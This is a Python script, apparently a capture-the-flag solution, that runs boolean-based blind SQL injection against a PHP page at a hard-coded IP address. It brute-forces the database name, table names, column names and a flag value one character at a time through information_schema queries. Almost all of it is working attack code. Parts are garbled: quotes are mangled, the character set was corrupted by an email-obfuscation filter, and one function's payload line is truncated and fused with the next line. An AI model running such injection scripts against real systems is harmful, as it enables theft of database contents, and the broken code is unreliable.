#coding=utf-8
import requests
#url=‘http://123.206.87.240:9004/Once_More.php?id=1‘
#temp = ‘[email?protected]$%^&*()_+=-|}{:?><[];,.`~‘
#(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),{0},1)={1}%23‘

#基于报错的注入，正确Hello   错误返回nobady
def getdblen():  #数据库名长度
	for i in range(1,30):
		url=‘http://123.206.87.240:9004/Once_More.php?id=1%27and%20length(database())=‘+str(i)+‘%23‘
		s = requests.get(url)
		if ‘Hello‘ in s.text:   #如果 返回页面中有‘Hello‘，说明payload正确
			print("table len:",i)
			break

def getdb():
	db_name=‘‘
	data = "[email?protected]$%^&*()_+=-|}{:?><[];,.`~"
	for i in range(1,10):
		for mes in data:
			url="http://123.206.87.240:9004/Once_More.php?id=1%27and%20mid(database(),"+str(i)+",1)=%27"+mes+"%27%23"  #利用mid函数选取子字符串
			s = requests.get(url)
			if ‘Hello‘ in s.text:
				db_name+=mes
				print(db_name)
				break
	print("table name is:",db_name)

def gettable():
	table_name=‘‘
	dbname = ‘web1002-2‘
	data = "[email?protected]$%^&*()_+=-|}{:?><[];,.`~"
	url="http://123.206.87.240:9004/Once_More.php"
	‘‘‘
	for i in range(1,50):  #数据表长度
		url="http://123.206.87.240:9004/Once_More.php?id=1%27and%20length(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27"+dbname+"%27)="+str(i)+"%23"
		s = requests.get(url)
		if ‘Hello‘ in s.text:
			print("table len:",i)
			break
	‘‘‘
	for i in range(1,20):
		for n in range(1,30):
			for mes in data:
				#url="http://123.206.87.240:9004/Once_More.php?id=1%27and%20ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%20"+str()+"),"+str(n)+",1))=%27"+mes+"%27%23"
				payload = {‘id‘:"1‘ and mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)=‘%s‘#"%(i,n,mes)}
				s = requests.get(url,params=payload)
				if ‘Hello‘ in s.text:
					table_name+=mes
					print(table_name)
					break
	print("table name :",table_name)
#limit%20‘+str(x)+‘,‘+str(y)+‘,1))=ascii(‘‘+str(i)+‘‘)%23‘

#payload = {‘id‘:"1‘ and mid((select table_name from information_schema.tables where table_schema=database() limit %s,j,k)}
def getcolumn():
	column_name=‘‘
	data = "[email?protected]$%^&*()_+=-|}{:?><[];,.`~"
	url="http://123.206.87.240:9004/Once_More.php"
	for i in range(0,10):
		for n in range(1,20):
			for mes in data:
				payload={‘id‘:"1‘ and mid((select column_name from information_schema.columns where table_name=‘flag2‘ limit %s,params=payload)
				if ‘Hello‘ in s.text:
					column_name+=mes
					print(column_name)
					break
	print("column name:",column_name)

def getflag():
	flag=‘‘
	data = "[email?protected]$%^&*()_+=-|}{:?><[];,.`~"
	url="http://123.206.87.240:9004/Once_More.php"
	for n in range(1,35):
		for mes in data:
			payload={‘id‘:"1‘ and mid((select flag2 from flag2),1)=‘%s‘#"%(n,mes)}
			s = requests.get(url,params=payload)
			if ‘Hello‘ in s.text:
				flag += mes
				print(flag)
				break
	print("flag :",flag)

if __name__==‘__main__‘:
	#gettablelen()
	#getdb()
	#gettable()
	#getcolumn()
	getflag()